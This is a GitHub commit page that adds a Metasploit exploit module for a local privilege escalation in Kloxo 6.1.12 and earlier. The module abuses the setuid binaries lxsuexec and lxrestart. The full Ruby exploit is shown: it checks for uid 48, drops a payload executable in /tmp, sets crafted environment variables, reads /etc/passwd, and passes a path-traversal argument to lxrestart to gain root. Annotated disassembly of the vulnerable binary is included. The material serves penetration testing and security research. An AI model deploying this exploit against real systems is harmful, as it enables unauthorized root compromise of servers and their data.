Skip to content

Commit 9427dfa

Browse files
committed
Landing rapid7#1823 - Kloxo Local Privilege Escalation
2 parents 2ee11f7 + 5e925f6 commit 9427dfa

File tree

1 file changed

+111
-0
lines changed

1 file changed

+111
-0
lines changed
Lines changed: 111 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,111 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
require 'rex'
10+
require 'msf/core/post/common'
11+
require 'msf/core/exploit/local/linux'
12+
require 'msf/core/exploit/exe'
13+
14+
class Metasploit4 < Msf::Exploit::Local
15+
16+
include Msf::Exploit::EXE
17+
include Msf::Post::File
18+
include Msf::Post::Common
19+
include Msf::Exploit::FileDropper
20+
21+
include Msf::Exploit::Local::Linux
22+
23+
def initialize(info={})
24+
super(update_info(info, {
25+
'Name' => 'Kloxo Local Privilege Escalation',
26+
'Description' => %q{
27+
Version 6.1.12 and earlier of Kloxo contain two setuid root binaries such as
28+
lxsuexec and lxrestart, allow local privilege escalation to root from uid 48,
29+
Apache by default on CentOS 5.8, the operating system supported by Kloxo.
30+
This module has been tested successfully with Kloxo 6.1.12 and 6.1.6.
31+
},
32+
'License' => MSF_LICENSE,
33+
'Author' =>
34+
[
35+
'HTP', # Original PoC according to exploit-db
36+
'juan vazquez' # Metasploit module
37+
],
38+
'Platform' => [ 'linux' ],
39+
'Arch' => [ ARCH_X86 ],
40+
'SessionTypes' => [ 'shell' ],
41+
'Payload' =>
42+
{
43+
'Space' => 8000,
44+
'DisableNops' => true
45+
},
46+
'References' =>
47+
[
48+
[ 'EDB', '25406' ],
49+
[ 'URL', 'http://roothackers.net/showthread.php?tid=92' ] # post referencing the vulnerability and PoC
50+
],
51+
'Targets' =>
52+
[
53+
[ 'Kloxo 6.1.12', {} ]
54+
],
55+
'DefaultOptions' =>
56+
{
57+
'PrependSetuid' => true
58+
},
59+
'DefaultTarget' => 0,
60+
'Privileged' => true,
61+
'DisclosureDate' => "Sep 18 2012"
62+
}))
63+
end
64+
65+
def exploit
66+
# apache uid (48) is needed in order to abuse the setuid lxsuexec binary
67+
# .text:0804869D call _getuid
68+
# .text:080486A2 cmp eax, 48
69+
# .text:080486A5 jz short loc_80486B6 // uid == 48 (typically apache on CentOS)
70+
# .text:080486A7 mov [ebp+var_A4], 0Ah
71+
# .text:080486B1 jmp loc_8048B62 // finish if uid != 48
72+
# .text:08048B62 loc_8048B62: ; CODE XREF: main+39j
73+
#.text:08048B62 ; main+B0j
74+
#.text:08048B62 mov eax, [ebp+var_A4]
75+
#.text:08048B68 add esp, 0ECh
76+
#.text:08048B6E pop ecx
77+
#.text:08048B6F pop esi
78+
#.text:08048B70 pop edi
79+
#.text:08048B71 pop ebp
80+
#.text:08048B72 lea esp, [ecx-4]
81+
#.text:08048B75 retn
82+
#.text:08048B75 main endp
83+
print_status("Checking actual uid...")
84+
id = cmd_exec("id -u")
85+
if id != "48"
86+
fail_with(Exploit::Failure::NoAccess, "You are uid #{id}, you must be uid 48(apache) to exploit this")
87+
end
88+
89+
# Write msf payload to /tmp and give provide executable perms
90+
pl = generate_payload_exe
91+
payload_path = "/tmp/#{rand_text_alpha(4)}"
92+
print_status("Writing payload executable (#{pl.length} bytes) to #{payload_path} ...")
93+
write_file(payload_path, pl)
94+
register_file_for_cleanup(payload_path)
95+
96+
# Profit
97+
print_status("Exploiting...")
98+
cmd_exec("chmod +x #{payload_path}")
99+
cmd_exec("LXLABS=`cat /etc/passwd | grep lxlabs | cut -d: -f3`")
100+
cmd_exec("export MUID=$LXLABS")
101+
cmd_exec("export GID=$LXLABS")
102+
cmd_exec("export TARGET=/bin/sh")
103+
cmd_exec("export CHECK_GID=0")
104+
cmd_exec("export NON_RESIDENT=1")
105+
helper_path = "/tmp/#{rand_text_alpha(4)}"
106+
write_file(helper_path, "/usr/sbin/lxrestart '../../..#{payload_path} #'")
107+
register_file_for_cleanup(helper_path)
108+
cmd_exec("lxsuexec #{helper_path}")
109+
end
110+
111+
end

0 commit comments

Comments
 (0)